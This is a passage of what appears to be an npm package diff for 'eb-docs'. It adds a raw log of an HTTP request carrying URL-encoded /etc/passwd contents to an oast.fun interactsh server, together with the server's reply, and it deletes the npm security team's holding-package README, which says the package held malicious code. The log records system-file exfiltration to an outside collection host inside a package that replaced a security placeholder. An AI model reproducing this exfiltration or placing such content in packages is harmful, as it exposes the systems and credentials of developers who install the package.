sbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cnmessagebus%3Ax%3A101%3A101%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cntcpdump%3Ax%3A102%3A102%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cna9be5BC8e666012%3Ax%3A10001%3A10001%3A%3A%2Fhome%2Fa9be5BC8e666012%3A%2Fbin%2Fbash%5Cn%22%7D
710
+
711
+ -------------
712
+ HTTP Response
713
+ -------------
714
+
715
+ HTTP/1.1 200 OK
716
+ Connection: close
717
+ Access-Control-Allow-Credentials: true
718
+ Access-Control-Allow-Headers: Content-Type, Authorization
719
+ Access-Control-Allow-Origin: *
720
+ Content-Type: text/html; charset=utf-8
721
+ Server: oast.fun
722
+ X-Interactsh-Version: 1.2.2
723
+
724
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
725
+
726
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=eb-docs for more information.